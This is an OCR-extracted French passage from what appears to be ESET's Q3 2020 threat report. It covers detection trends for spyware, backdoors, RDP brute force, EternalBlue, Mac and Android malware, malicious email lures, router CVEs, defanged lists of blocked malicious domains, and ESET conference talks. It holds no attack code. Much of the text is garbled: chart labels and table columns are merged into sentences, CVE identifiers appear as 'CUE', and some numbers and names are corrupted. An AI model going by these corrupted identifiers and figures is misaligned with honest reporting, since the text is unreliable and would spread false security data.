Juillet 2020, pour atteindre en aolt ses valeurs les plus elevees depuis 2017. Cette tournure
des evénements semble étre poussée [56] par la croissance des cryptomonnaies dans les

. . \ . : retour important cette année.
marches emergents et, curieusement, a la pandemie de coronavirus.

Jiri Krepac, Head of Threat Detection Labs chez ESET

Detections d'extracteurs de cryptomonnaie Taux de change BTC/USD (axe droit)

_ Chevaux de Troie App indesirables Application M®WNavigateur
12 K USD
Moyenne de [l 11K USD
79 %
10 K USD
44 %
9 K USD
Moyenne de Q2 8 K USD
.......................................................................... ( ] 56 %
Mouenne de Q3 7 K USD
6 K USD
. ; . . — . 5K USD
1 avr. 2020 1 mai 2020 1 juin 2020 1 Jjuil. 2020 1 aolt 2020 1 sept. 2020
Deétections des extracteurs de cryptomonnaie durant R3 2020 : ratios chevaux de Troie versus
Tendance de la déetection des extracteurs de cryptomonnaie en R2 et 3 2020, moyenne mobile sur sept jours programmes potentiellement indesirables et navigateur versus applications
Echantillon de données : Monde Echantillon de données : Monde
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Logiciels espions et portes derobees

Win/PSW.Fareit trojan 51,8 %
Le voleur de mots de passe Fareit éetait en hausse durant Q3 2020, diffuse par Win/PSW.0OnLineGames trojan 13,3 %
des campagnes de spam a grande echelle. Win/Spu.Socelars trojan 12.3 %

MSIL/Bladabindi trojan 5,6 %

Les detections de logiciels espions et de portes derobees ont connu une legere tendance a la
baisse en Q3 2020, diminuant respectivement de 7 % et de 3 % par rapport a Q2. Houdrat est MSIL/PSW.Discord trojan 2,4 %

reste en premiere place du classement, en raison de son mecanisme de propagation invasif et 0SX/0pinionSpy trojan 2.2 ¥

de mauvaises pratiques de sécurite dans les marchés en developpement, comme en R2 [58]. Le

reste du classement a eté plus mouvemente, Win/Spy.Socelars affichant la plus forte croissance, Win/Spy.Weecnaw trojan 1,6 %

ses detections ayant plus que double par rapport a Q2. Ce logiciel espion vole les mots de passe Win/Spy.Keylogger trojan 1.1 %

stockes dans les navigateurs et subtilise les donnees de paiement des comptes compromis.
MSIL/Bladabindi worm 0,8 %

Win/PSW.Fareit, egalement appeleé Pony, un cheval de Troie voleur de mots de passe tres repandu,

: .. : ; ; : MSIL/Spy.Keyl t j 0,8 %
est une autre famille de logiciels espions quli a connu une hausse importante en Q3. Fareit est /SPy.Keylogger trojan %

populaire parmi les cybercriminels car son code source est disponible en ligne, ce qui leur

permet de l'utiliser dans leurs campagnes malveillantes. Une fois present sur un systeme, Fareit Les 10 principales familles de logiciels espions en (33 2020 [% de détections de logiciels espions)

. . . . , . . . Echantillon de données : France
vole les informations de connexion de differents navigateurs et autres applications de stockage

d’'identifiants, puis envoie les donnees volees a un serveur distant.

PHP/WebShell backdoor 21,5 %
Selon la telemetrie d’ESET, Fareit est principalement diffuse via des emails de spam malveillant.
92 % des detections de Fareit en Q3 ont ete decouvertes dans des pieces joinhtes a des emails. La Win/Qbot backdoor 9,9 %
plupart de ces pieces jointes etaient des executables deguises en documents d’'expedition et de Wi Usails semkaber 9.4 ¥
suivl de livraisons de colis.
PHP/Small backdoor 6,5 %
Portes derobeées Logiciels espions
ASP/Webshell backdoor 4,6 %
MSIL/NanoCore backdoor 4,3 %
Win/UB backdoor 3,6 %
Win/RanumBot backdoor 2,9 %
Java/Adwind backdoor 2,6 %
Win/Glupteba backdoor
Les 10 principales familles de portes dérobées en R3 2020 (% des détections de portes dérobées)
Echantillon de données : France
La prévalence croissante de Fareit montre que les mots de passe sont une cible
lucrative, car ils peuvent étre utilisés dans toute une serie d’attaques ou moneéetises
sur les marches clandestins. Notre télemetrie montre que le spam, méme si les mémes
1 aur. 2020 1 mai 2020 1 juin 2020 1 juil. 2020 1 aoGt 2020 1 sept. 2020 leurres sont systematiquement reutilises, reste le vecteur de diffusion de ces menaces.
Tendances de détection des logiciels espions et des portes derobees en R2 et R3 2020, moyenne mobile sur sept jours Jiri Kropac, Head of Threat Detection Labs chez ESET

Echantillon de données : Monde
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Exploitations de vulnerabilites

Le nhombre de clients uniques ayant signale des tentatives d’attaque par force brute a augmente de 37 % d’'un trimestre a l'autre,
tandis que le nombre total de tentatives d’attaque a augmente de 140 7%, suivi d’'une baisse de courte duree a la fin du trimestre.

Avec les infections de coronavirus atteignant de nouveaux sommets en 3, les entreprises
ont continue a dependre fortement de 1'acces a distance. C’est probablement I'une des raisons
pour lesquelles le protocole RDP (accés a distance] est resté une cible de choix pour les
cybercriminels en Q3, ce qui s’est traduit par une croissance de 37 % du nombre de clients
unigues gqui ont signale une tentative d’attaque par force brute contre leur connexion RDP.

La quantite globale de tentatives d’attague a connu une croissance extréme, avec 140 % de
déetections suppléementaires par rapport au trimestre precedent. La telemetrie d’'ESET a fait
etat d'une chute brutale, mais de courte duree, de pres de 40 % a la fin du mois de septembre.

Comme ce declin limite a ete observe dans plusieurs regions, il est possible que l'un des
scenarios suivants se soit produit :

" e démantelement non communigque d’'une infrastructure malveillante (une partie ou la
totalitée d’'un botnet).

m |’arrestation non communiquee d’un grand groupe ou de certains de ses membres.

= Une panne, maintenance ou autres problemes techniques dans l'infrastructure des pirates.

m Un autre vecteur d’attaque, plus viable, moins cher ou facilement exploitable, existe
desormais, ce qui a conduit 1'un des groupes a se recentrer pendant une courte periode.

—Tentatives de connexion RDP (axe gauche)
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Tendances des tentatives de connexion ROP en R2 et R3 2020, moyenne mobile sur sept jours
Echantillon de données : Monde

Les gangs de logiciels ranconneurs ont montré que compromettre RDP pour voler les
donnéees sensibles aupres des victimes peut étre une technique d’attaque tres rentable.
Combineéee au nhombre croissant de systemes mal securises connectes a Internet pendant

la pandemie, cette situation a permis l’'augmentation extréme des tentatives d’attaque

par force brute contre RDP, comme le montrent les donnéees de téelemeétrie Jd’ESET.

Jiri Krepac, Head of Threat Detection Labs chez ESET

Les detections d’EternalBlue ont connu une hausse en R3, cléturant ce trimestre avec une
augmentation de 26 % du nombre de clients uniques ciblés par jour. Le nombre de tentatives
d’attaque contre EternalBlue a suivi une trajectoire tres similaire, cléturant Q3 par une
hausse de 23 %.

En revanche, le nombre de clients unigques qui ont signhale des tentatives d’exploitation de la
vulnerabilite BlueKeep a baisse de 11 % et le nombre total de tentatives d’attaque contre cette
faille a diminue de 13 %.

—Tentatives d'attaque EternalBlue sur des clients uniques (axe gauche])

Tentatives d'attaque BlueKeep sur des clients uniques (axe droit]
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Tendances des tentatives d’attaque EternalBlue et BlueKeep en R2 et 3 2020, moyenne mobile sur sept jours
Echantillon de données : Monde
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Menaces sur Mac

Les menaces sur Mac ont continue a diminuer tout au long de R3. Les menaces en téte de liste ont perdu plus d’un cinquieme
de leur nombre de déetections en R2.

Les menaces sur Mac ont suivi le méme chemin gqu’en Q2 et ont continué & diminuer 0SK/Mackeeper PUA 26,4 %
progressivement tout au long de Q3. Le nombre de detections a diminue de 21 % d’un 0S%/GT32SupportGeeks PUA 1.5 %
trimestre a l'autre. La variabilite la plus importante a ete constatee avec les applications
potentiellement indésirables (PUAJ, avec des hauts et des bas occasionnels, mais pas de 0SX/Bundlore adware ‘.0 %
pics significatifs. Pour toutes les autres categories telles que les logiciels publicitaires,
_ _ _ _ _ 0SX/Max0fferDeal adware 7,4 %
les chevaux de Troie et les applications potentiellement dangereuses (PUsA]), les quantites
detectees ont diminue regulierement au cours de Q3. 0SX/Keygen PUsA 6,2 %
La menace la plus frequemment detectee sur la plateforme Mac reste Mackeeper avec 26,6 %, 0SX/Pirrit adware 6,1 %
ce qui n'est que legerement inferieur aux 27,6 # de R2. Cependant, la quantite absolue de
detections a suivi la trajectoire de 1I'ensemble de la categorie, soit une reduction de 29 %. 08%/TrojanDownloader.Adload trojan 3,4 %
La télemetrie d’ESET montre une tendance presque identigue pour le PUA 0SX/Keygen, utilise 0S%/Genieo adware 3,0 %
pour le piratage de logiciels, qui a perdu 24 % en nombre absolu de detections. En raison de 0SX/USearch adware 3.0 %
la baisse des chiffres dans 1’'ensemble de la categorie, sa baisse en pourcentage a ete minime,
soit 15,2 %4 en @3 contre 15,6 % en Q2. 0SX/TrojanDownloader.Agent trojan - 2,0 %

Les 10 principales détections de menaces sur Mac en R3 2020 (% des détections de menaces sur Mac)
Echantillon de données : France

Les dix principales familles sont restees presque identigques, sans changement dans les cing
premieres places. Le seul nouvel acteur dans les dix premiers est le logiciel publicitaire 0SX/
MaxOfferDeal, qui a atteint la sixieme place, avec 4,1 %, ce qui place l'application 0SX/Riskware.
Meterpreter en dixieme position en R2.

Durant Q3, ESET Research a decouvert des sites web diffusant des versions modifiees
d’applications legitimes de négociation de cryptomonnaie pour Mac(0S. Ces applications sont
detournees par le malware GMERA pour voler des informations telles que des cookies de
navigateur et des portefeuilles de cryptomonnaie, et effectuer des captures d’ecran. ESET

a trouve quatre applications malveillantes utilisees de cette maniere, appelees Cointrazer,
Cupatrade, Licatrade et Trezarus. Pour plus d’informations techniques, consultez notre article [59].

Méme si le hombre de PUA sur Mac est assez eleve par rapport aux chevaux de Troie
et aux portes derobees, notre enquéte sur les derniers malwares GMERA a montre que

1 avr. 2020 1 mai 2020 1 juin 2020 1 juil. 2020 1 aoGt 2020 1 sept. 2020 certains auteurs continuent de créeer et diffuser activement des malwares sur Mac.

Tendonce de la détection des menaces sur Mac en R2 et R3 2020, moyenne maobile sur sept jours Marc-Etienne Léveillé, Malware Researcher chez ESET
Echantillon de données : France
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Menaces sur Android

Alors que les applications publicitaires continuent de dominer le paysage des menaces sur Android, les detections de malwares bancaires
ont connu une hausse durant R3 2020.

Apres un pic en mai 2020, les detections sur Android ont diminue en juin, ont augmente en
Juillet, et ont maintenu un niveau relativement stable en aolt et en septembre. En termes de
volume global de detections, Q3 a connu une baisse de 19 % par rapport au trimestre précedent.

L’augmentation en Jjuillet est liee a la croissance de la categorie des Applications cacheéees
(HiddenApp), qui a domineé le paysage des menaces sur Android pendant trois trimestres
consecutifs. Cette categorie couvre la detection d’applications trompeuses qui cachent leurs
icones apres l'installation et affichent des publicites plein ecran. Elles sont generalement
deguisees en jeux et en utilitaires attrayants.

Les detections d’Android/HiddenApp ont doublé par rapport a R2, et ont triplé leur part dans
le classement des 10 premiéres places. La famille Android/Hiddad est passee de la seconde a la
Ppremiere place, bien que le nombre total de detections ait en fait diminue de 12 %.

Les malwares bancaires sont une autre categorie qui s’est developpee en R3, dont le nombre de

detections a plus que quadruple par rapport a R2. . : : : . .
1 avr. 2020 1 mai 2020 1 juin 2020 1 juil. 2020 1 aolt 2020 1 sept. 2020

All HiddenA SMS Trogj —_Ad —Stal Cli
FECEARRRS roJens Ware SRSt e Tendaonce de détection des malwares bancaires Android en R2 et R3 2020, moyenne mobile sur sept jours

Banking malware, Cryptominers, Ransomware, Spyware Echantillon de donnees : fFrance

Ceci est le résultat d’une augmentation du nombre de detections d’une variante d’Android/
TrojanDropper.Agent intégrant le malware bancaire Cerberus, detectée comme Android/Spy.
Cerberus.

Cerberus est un cheval de Troie bancaire mobile qui a été découvert [60] en juin 2019 et a

ete tres actif jusqu'en Jjuillet 2020, lorsque ses operateurs se sont separes et ont vendu le
malware aux encheres [61]. Moins d’'un mois plus tard, le 11 aolt, le code source de Cerberus

etait publié gratuitement [62] sur un forum clandestin, permettant & guiconque d’utiliser le

malware a ses propres fins, ce qui augmente le nombre de tentatives d’attaques detectees.

Bien que les malwares bancaires ne représentent qu’une infime partie des menaces sur
Android, leur croissance est inquiéetante, car sans protection adéquate, ils peuvent
causer de graves dommages. La publication du code source de Cerberus permet a
davantage de cybercriminels de diffuser facilement des malwares personnalisés, c’est

] ] . ce que nhous avons egalement constate pour d’autres familles de malwares bancaires,
1 avr. 2020 1 mai 2020 1 juin 2020 1 juil. 2020 1 aoGt 2020 1 sept. 2020 comme BankBot, Anubis et Exobot.

Tendances de détection des catégories de menaces sur Android en R2 et R3 2020, moyenne mobile sur sept jours Lukas Stefanko, Malware Researcher chez ESET
Echantillon de données : Monde
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Menaces web

Les menaces web ont diminue durant R3 2020, suite a la disparition de deux grands acteurs de la scene des domaines malveillants.

En Q3 2020, 1la telemetrie d’ESET a enregistre une baisse globale de 16 % des principales

menaces web, une poursuite de la tendance a la baisse observee en R2. Cette baisse concerne facebook volksbank
les categories Escroquerie, Malware et Hameconnage. la categorie Malware Object est la seule office
| |
Ul a augmente a la fois en termes de blocage global et d’URL unigques blogquees. )
i s °€ 9 i i 1 t,a u blockchain
Les sites web de diffusion de malwares ont connu la plus forte baisse d’un trimestre 3 instagram hotmall

I’'autre, soit 28 %. Cette evolution est liee a la disparition de deux domaines qui etaient en
téte de la catégorie Malware pendant le premier semestre : adobviewel[.]club et fingahvfl[.] Loe 10 orincioe] AN ey _ . y " A o .
top. L’'ancien numéro un, adobviewel[.]club, fait partie d’'une infrastructure de logiciels €s PILTEIPRIES MATUES Bt PIURCUFALE OIS BiF BOMBINE VISEs Fa GBS GLienuEs amogliupies &

publicitaires, affichant des pop-ups promouvant d’'autres menaces. Les detections de ce

domaine ont progressivement diminue au cours de R2, ont chute a la fin du mois d’avril, et Concernant les attaques homoglyphes!, nous avons observé une baisse de la détection globale
etaient pratiquement nulles en Q3. Le domaine fingahvuf[.]top, qui redirige les navigateurs des des domaines, mals nous avons vu quelques nouveaux venus en termes de marqgques et de noms de
internautes vers des sites web diffusant d’autres menaces, a connu une forte baisse : a la domaine usurpes. En fait, les deux principaux domaines « homoglyphes » ne sont apparus qu’en R3.

fin du mois de mai 2020, les blocages quotidiens sont passes de centaines de milliers a des

. ) . .. , Le domaine numero un, nexil.]Jcom (hotez le point sous le « e » ], se fait passer pour Nexi, un
dizaines de milliers, et ont encore diminue tout au long de Q3. , nexil.] ( P J, P P ’

service de paiement numerique tres populaire en Italie. Le second domaine le plus bloque,

Ces baisses peuvent étre dues au fait que les campagnes se terminent ou sont migrees vers bankline.itaul.]Jcom (notez le « i1 » crochu), se présente comme le site web de la banque
des domaines et des serveurs differents. Les domaines les plus blogues en Q3 sont enumeres bresilienne Itau. Les detections de ces domaines provenaient exclusivement d’'Italie et du
cl-dessous. Bresil, respectivement.
Bl [ous —Escroqueries Malwares Hameconnage —0bjets
o 450 Malware Escroquerie Hameconnage
C
(1]
B 400 1 s.viiotp[.]lcom ofhappinyer[.]lcom d18mpbo349nky5.cloudfront[.]net
=
320 2 nbf9b5aurl[.]lcom maranhesduve[.]club propul.]sh
300 3 runmewivell.]lcom glotorrents[.]pw mrproddisup[.]com
250 4 ofgogoatan[.]lcom govikleronel[.]com exchangepresumeethell.]lcom
200 5 dpiwrxl3dmzt3.cloudfront[.]lnet wwclickads[.]club missingarcheryl.]com
150 6 hardyload[.]com p4.maranhesduvel.]club diplomaticlastingpert[.]com
100 7 brandsafe.adlooxtrackingl.lcom golnews[.]biz stressfulpyjamas[.]com
20 8 cozutech[.]biz dgafgadsgk jg[.]top update.updtbrwsr[.]com
r——— T\ e————————————————
9 biggames|.]|club static.sunnycoast|.|xyz update.updtapil.|com
1 avr. 2020 1 mai 2020 1 juin 2020 1 juil. 2020 1 aolt 2020 1 sept. 2020 =S L] 2 [.1xy P P Pil.]
10 opentracker[.]xyz masturel[.]lmobi update.brwsrapil.]com

Tendaonces des menaces web bloguees en R2 et R3 2020, moyenne mobile sur sept jours

(nombre total de blocages plutét que nombre d’appareils uniques] Les 10 principaux domaines bloqués dans les categories Malware, Escroquerie et Hameconnage durant R3 2020
Echantillon de données : France

Les attaques sur le web consistent a imiter des sites web légitimes en remplacant des caracteres dans des noms de domaine par des caracteres similaires (ou méme visuellement identigques). RAPPORT ESET SUR LES MENACES, Q3 2020 |



Menaces par email

Les detections d’emails malveillants ont continué a augmenter durant R3 2020, les entreprises de livraison et de logistique
etant fortement utilisées comme appats.

Le nombre total de detections d’emails malveillants par trimestre a augmente de 9 % par HTML/Fraud trojan 20,6 %
rapport a Q2, maintenant le taux de croissance observe entre Q1 et Q2. Apres des pics en DOC/Fraud trojan 19.8 %
Juillet et en aolt, l'activite a fortement diminue en septembre.

Win/Exploit.CUE-2017-11882 trojan 16,6 %

La menace la plus répandue dans les emails reste Win/Exploit.CUE-2017-11882, des documents
malveillants exploitant une vulneérabilité de Microsoft Office pour télécharger des malwares JS/Danger.DoubleExtension trojan 8,8 %

supplémentaires. Uiennent ensuite HTML/Fraud et DOC/Fraud, cette derniére catégorie ayant

PDF/Fraud trojan 71 %

presque double depuis R2. Ces deux homs de detection concernent des emails frauduleux
envoyes dans le but d’extraire des informations personnelles aupres des destinataires. HTML/Phishing trojan 3,3 %
Bien que les emails et les pieces jointes d’hameconnage au format HTML, déetectés comme PDF/Phishing trojan 4,1 %
chevaux de Troie HTML/Phishing, ne soient pas entrés dans le Top 3, leur nombre total de _ _

; _ , : \ , JS/Danger.ScriptAttachment trojan 2,9 %
detections a augmente de pres de 40 % par rapport a Q2. DHL est restee la marque la plus
fortement imitee, suivie de la bangque sud-africaine Absa et du geant de la logistique Maersk. MSIL/Filecoder trojan 2,6 %
Les emails d’hameconnage utilisant DHL comme leurre, qul ont connu une hausse fulgurante Win/PSW.Fareit trojan - 2,4 %

en Q2, ont connu une nouvelle augmentation, bien que beaucoup plus faible, ce trimestre
(50 AJ.-Un.e crolssance plus spectacgla.lr“e a ete observee pour les emails imitant Maersk, Les 10 principales menaces détecteées dans les emails durant @3 2020
dont l'incidence a ete presque multipliee par 10. Echantillon de données : France

Une variante de cette menace a ete detectee dans plusieurs
campagnes a grande echelle au cours de Q3, avec un pic atteint
dans la seconde moitie du mois de septembre. Les detections

de ces emails, qui tentent d’'extraire les mots de passe des
destinataires pour les services en ligne Maersk, ont ete les plus
frequentes en Espagne, en Pologne et en Italie.

You are about to view Secure Maersk File

]

View Secure File =>

PayPal
Google
1 avr. 2020 1 mai 2020 1 juin 2020 1 juil. 2020 1 aolt 2020 1 sept. 2020
Les 10 principaux leurres utilises dans des Email malveillant se faisant passer
Tendaonce de détection d’emails malveillants en Q2 et (3 2020, moyenne mobile sur sept jours tentatives d’hameconnage durant A3 2020 pour Maersk

Echantillon de données : France
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) B - Re: Covid-19 Fund Support - Message (HTML) [ = O X

Exécutables Windows
File Q Tell me what you want to do

Fichiers de script

Re: Covid-19 Fund Support

19 % Documents Office & Reply All | = Forward | |+
S7 % BFichiers archives @ 50.00.2020 247
BFichiers PDF Greetings
Fichiers Java How are you?
15 % Fichiers batch In this time of pandemic and global covid-19 crisis, we have decided to reach out to those who are in need for financial support, It's our utmost duty to lend a helping hand to

the affected people. Our organization liaises with renowned world philanthropists and charity organization help people to tackle some of today’s biggest challenges of

. . . consistent global crisis in today’s' world.

Fichiers de raccourci
Our organization is giving out US$2,500,000,00 to individuals, entrepreneurs and corporate bodies Globally, We are randomly selecting people from the World health

Executables Android organization database. Hence, we urge you to respond to this mail and be willing to help us reach out those affected during this pandemic era within your region and beyond.

Contact us for more details on how to get the support fund.
Your response will be a great step.

. . i .. . . STAY HOME-KEEP CLEAN AND STAY SAFE
Principaux types de pieces jointes d’emails malveillants? durant R3 2020

Echantillon de données : France Regards!

Board Of Director

Plus de 70 % des pieces jointes malveillantes identifiees durant R3 2020 etaient des

executables, suivies par des fichiers de script et des documents Office. Par rapport a R2, les
executables ont renforce leur position de 18 points de pourcentage. Les fichiers Office ont Spam utilisant 1'aide financiere pour COUID-19 comme appat
diminue de 13 points.

Le hom de fichier des pieces jointes executables comportait souvent une double extension,
pour duper les destinataires en profitant du fait que les extensions des types de fichiers
connus sont cachees par defaut sous Windows. Le format PDF a ete de loin le plus utilise au
cours de Q3. Les pirates ont egalement souvent tente de deguiser des executables malveillants
en fichiers Microsoft Excel et Word, en images et en archives.

Quant aux detections de spam, des emails non sollicites de toute sorte, pas necessairement
porteurs de malwares, elles se sont maintenues a un niveau constant en RQ3, avec de multiples
petits pics. Le volume global de spam detecte a augmente de 4 % par rapport au trimestre
précedent.

Durant Q3, nous avons observe gque les spammeurs utilisaient encore frequemment la pandemie
de coronavirus a leur profit. L'un des themes les plus récurrents dans les emails non sollicites
etait le soutien financier lie a la pandemie, comme le montre la capture d’ecran en haut a
droite. Exploitant les difficultes financieres rencontrees par beaucoup durant la crise, et se
faisant passer pour des organisations legitimes, les escrocs tentent de manipuler les victimes
pour gu’elles communiguent des informations sensibles.

Lors de l'interpretation des donnees d’ESET sur le spam, il faut tenir compte du fait que

notre visibilite sur le trafic de spam est limitee, car les messages electroniques peuvent 1 avr. 2020 | mai 2020 { juin 2028 ! juil. 2020 1 aoGt 2020 | sept. 2020
étre filtres chez le fournisseur de services de messagerie sur Internet, ou ailleurs, avant
d’atteindre la solution antispam d’ESET sur les machines clientes. Tendance de la detection du spam en R2 et 3 2020, moyenne mobile sur sept jours

Echantillon de données : France

clLa statistique repose sur une selection d’'extensions bien connues. RAPPORT ESET SUR LES MENACES, Q3 2020 |



Securite des objets connectes

Les anciennes vulnerabilites du Top 10 sont en legere baisse, <« admin » restant le nhom Jd’utilisateur ou le mot de passe privilegie.

Avec plus de 100 BOO routeurs testes, ESET a continue a suivre 1l'evolution de la securite dans
la sphere des objets connectes tout au long de Q3. Comme lors des trimestres precedents,
des milliers de routeurs restent vulnerables a l'utilisation de mots de passe par defaut pour
entrer dans l'interface d’administration, avec seulement des changements mineurs dans le
classement.

Le mot de passe faible le plus souvent detecte, sur plus de 4 600 appareils, est « admin »,
suivl par oS00 appareils utilisant le mot de passe « root », plus de 200 utilisant « 1234 »

et des dizaines utilisant <« 12345 ». Il s’agit probablement de mots de passe par defaut et
ils sont le plus souvent accompagnes de noms d’utilisateur predefinis tels que « admin »,

« root », « guest », « 1234 » et « support ».

Les detections d’ESET suggerent que de nombreuses personnes utilisent des routeurs
obsoletes avec des vulnérabilites datant de plusieurs années. Le fait que deux des trois
principales vulnerabilites sont des injections de commande, qui sont particulierement

dangereuses et utilisées pour la creation de botnets, ne fait qu’aggraver la situation.

Milan Franik, Malware Researcher chez ESET

Les dix principales vulnerabilites n‘ont connu gque des changements mineurs dans le classement,
et la liste des CUE les plus souvent trouvees n’a connu aucun changement. La vulnerabilite la
plus ancienne, CUE-2012-5687, est toujours en téte du classement en Q3, mais la proportion
d’appareils atteints a legerement diminue, passant de 17,7 % a 16,3 %. De méme, les routeurs
declares comme vulnerables a l'injection de commande decrite dans CUE-2014-8361 sont passes
de 13,8 % en Q2 a 11 % en R3.

L’augmentation la plus notable est CUE-2015-7248, qui a connu 1,4 % de detections de plus gqu’au
trimestre precedent, faisant passer cette vulnerabilite de la huitieme a la cinquieme position.

Q3 a egalement ete margque par une autre grande decouverte d’ESET Smart Home Research,
une version etendue de Krd@k, une vulnerabilite qui affecte le chiffrement dans de nombreux
appareils populaires equipes de puces Wifi Broadcom et Cypress. Nos etudes ont confirme que
les puces d’autres fabricants, notamment Qualcomm et MediaTek, presentent egalement des
problemes de chiffrement. Pour plus de details, consultez 1'article de ce rapport.

R Q3
17,7 %
CUE-2012-5687 unauthorized access
16,3 %
13,8 %
CUE-2014-8361 command injection
11,0 %
7,0 %
CUE-2014-9583 command injection
7,5 %
6,6 %
CUE-2014-1225 cross-site scripting
7.2 %
3,5 %
CUE-2015-7248 unauthorized access
4.5 %
CUE-2015-08554 unauthorized access
4.4 %

CUE-2014-2962 unauthorized access

3,9 %

2,6 %
CUE-2013-5947 unauthorized access
3,6 %

4.1 %

CUE-2014-4019 unauthorized access
3,2 %
2,7 %

CUE-2015-7254 unauthorized access _ r

Les 10 principales vulnéerabilités detectees par le module d’ESET d’analyse de la vulnerabilite

des routeurs en Q2 et R3 (% des vulnérabilités détectées)
Echantillon de données : Monde

En juillet, des chercheurs ont réussi a retirer [63] le chiffrement des dernieres images du
micrologiciel des routeurs D-Link, pour recuperer les cles de dechiffrement des anciennes
versions des mémes images de micrologiciel. Quelques semaines seulement apres cette bevue,
la societe a révelé cing vulnérabilités graves [64], CUE-2020-15894, CUE-2020-15895, CUE-2020-
15893, CUE-2020-15896 et CUE-2020-15892, dont certains concernent des appareils en fin de vie
qui ne sont donc plus corriges par le fabricant.
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Prochaines presentations

CODE BLUE 2020

Krd@k : une grave vulnérabilité a affectée le chiffrement de plus d’'un milliard d’appareils

Wif1i

Pour ceux qui n'ont pas eu la chance d’assister a cette conference lors des precedents
evenements virtuels, Robert Lipovsky, Malware Researcher chez ESET, devoilera les details
de la faille de securite Kr@0k durant CODE BLUE 2020. Il presentera des informations sur
les etudes initiales qui ont permis de decouvrir la vulnerabilite dans les puces Wifi de
Broadcom et Cypress, ainsi que les conclusions des etudes de suivi.

Botconf

Le groupe Winnti : analyse de ses dernieres activites

Lors de l'edition en lighe de Botconf cette annee, Mathieu Tartare, Malware Researcher
chez ESET, fournira un apercu des dernieres activités du groupe Winnti, responsable

des attaques contre la chalne d’approvisionnement des secteurs des jeux video et des
logiciels, de la sante, et de l'education. La presentation montrera non seulement que le
groupe Winnti utilise et actualise toujours activement sa porte derobeée ShadowPad et sa
famille de malwares Winnti, mais qu’il a egalement etendu son arsenal avec de nouveaux
outils dont certains ne sont pas encore documentes.

Les activites de Turla aux premieres loges

Dans sa presentation Botconf, Matthieu Faou, Malware Researcher chez ESET, communiguera
de nouvelles informations sur les TTP de Turla, un groupe de pirates avances etudie par
ESET depuis plusieurs annees. Ces acteurs sont principalement interesses par des cibles
de haut niveau telles que des organismes gouvernementaux et des entreprises du secteur
de la defense. La presentation decrira les principales attaques publiqguement attribuees
au groupe et expliquera les motivations des attaguants. La partie technique de 'expose
presentera les trois etapes classiques d’'une campagne Turla : compromis, mouvement
lateral et persistance a long terme.

AUAR 2020 Uirtual

CDRThief : malware ciblant des commutateurs logiciels UolIP sous Linux

Lors d’'une session virtuelle de la conference AUAR, Anton Cherepanov, Malware Researcher
chez ESET, presentera sa recente decouverte de CORThief, un malware ciblant des
commutateurs logiciels de voix sur IP (UolP) sur Linux. CORThief est particulierement
interessant, car son objectif principal est d’exfiltrer les enregistrements de details
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d’appels (CDR), qui contiennent les metadonnées des appels effectués, notamment 1’heure, la
duree, les frais d’appel, etc. Cette cession fournira une description technigque detaillee du
malware CORThief ainsi que les objectifs possibles de ses operateurs.

Une etude approfondie d’Evilnum et de ses outils

Cette presentation de Matias Nicolas Porolli, Malware Researcher chez ESET, portera sur
Evilnhum, un groupe de cubercriminels qui opere depuis au moins deux ans et qui cible des
entreprises de technologie financiere. La presentation decrira I'infrastructure utiliséee pour
les activites d’Evilnum, analysera les malwares developpes par le groupe ainsi que sa chaine
d’attaque. S’appuyant sur les donnees de telemetrie d’ESET, les victimes seront egalement
detaillees pour montrer qu’Evilnum a un ciblage tres specifique.

Presentations effectuees

Black Hat USA Black Hat Asia

Kr@@k : une grave vulnérabilité a affecté le chiffrement de plus d’'un milliard d’appareils Wifi [6]

Lors des editions virtuelles de Black Hat USA et Black Hat Asia, Robert Lipovsky, Malware
Researcher, et Stefan Svorencik, Detection Engineer, tous deux chez ESET, ont révélé les
détails de la faille de sécurité Kr@@k. Leur briefing a permis d’apporter des détails techniques
ainsi que de nouvelles informations trouvees depuis la publication initiale de la vulnherabilite.

Arsenal de désobfuscation de Stantinko [65]

La session virtuelle de Uladislav Hreka, Malware Analyst chez ESET, durant Black Hat USA a
disseque la boite a outils d’obfuscation utilisee par la famille de malwares Stantinko. Elle
portait principalement sur 1’'ameélioration des techniques d’aplatissement du flux de controéle
et d’obfuscation de chaines utilisees par les operateurs des malwares, et a montre comment
ces approches, par ailleurs courantes, sont devenues uniques.

Conference Uirus Bulletin 2020 localhost
¥D0Spy : vol de secrets d’Etat depuis 2011 [66]

Dans un document presente a la conference UB2020, son auteur Matthieu Faou, Malware
Researcher chez ESET, a decrit la decouverte de la campagne de cyberespionnage XOSpy
contre plusieurs gouvernements d’Europe de 1'Est, des Balkans et de la Russie, qui est
passee inapercue pendant pres de 10 ans. Son but semble avoir ete 'obtention de documents
diplomatiques et militaires, mais egalement d’'informations d’entreprises privees et
d’institutions universitaires, ce qul suggere que l'acteur est egalement implique dans
l’espionnage economique.

Aplatir la courbe des cyber-risques [67]

Righard Zwienenberg, Senior Research Fellow chez ESET, a participe au panel de renseignements
sur les menaces lors de la conference virtuelle UB2020 localhost. Le panel a discuté des
exigences souvent negligees mais necessaires pour minimiser les risques dans les reseaux
d’entreprise, en soulignant ce qu’il faut faire et ne pas faire pour que les entreprises
aplatissent la courbe des cyber-risques, minimisent l'impact sur leurs reseaux et soient
resilientes.

Ramsay : une boite a outils de cyberespionnage adaptée aux réseaux isolés [68]

Dans sa presentation durant UB2020, Ignacio Sanmillan, Malware Researcher chez ESET, a
aborde les aspects techniques de Ramsay, une boite a outils de cyberespionnage decouverte en
mars 2020, qui est specifiqguement concue pour voler des documents et s’introduire dans des
reseaux isoles. Son expose a documente les fonctionnalites de Ramsay ainsi que les similitudes
déecouvertes avec le groupe DarkHotel.

InvisiMole : une persistance de haut niveau via des vulnérabilités de faible niveau [69]

Zuzana Hromcova, Malware Researcher chez ESET, a presente durant UB2020 les resultats
d’'une enquéte approfondie sur la derniere campagne d’'InvisiMole, un groupe de pirates connu
auparavant pour son réle dans des campagnes de cyberespionnage tres ciblees en Europe de
I’Est. Sa presentation pour l'audience de UB sur la boite a outils InvisiMole actuelle a comble
les lacunes precedentes sur les techniques de diffusion, de persistance et de mouvement
lateral utilisees par ces pirates, ainsi que sur leur cooperation avec le groupe Gamaredon.
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Conference Uirus Bulletin 2020 localhost CARO 2020

Cybercriminalité financiere dans la région LATAM : partage de TTP entre concurrents [70]

Lors des conferences virtuelles CARO 2020 et UB2B20, Jakub Soucek, Malware Analyst, et Martin
Jirkal, Detection Engineer, tous deux chez ESET, se sont plonges dans le paysage actuel des
chevaux de Troie bancaires d’Ameérique latine. La session a presente la coordination etroite
presumee entre les familles, et leur expansion de I'Amerique latine vers I'’Espagne et le
Portugal.

DEF CON 28 SAFE MODE

Uulnérabilités des objets sexuels intelligents : le c6té titillant de la recherche

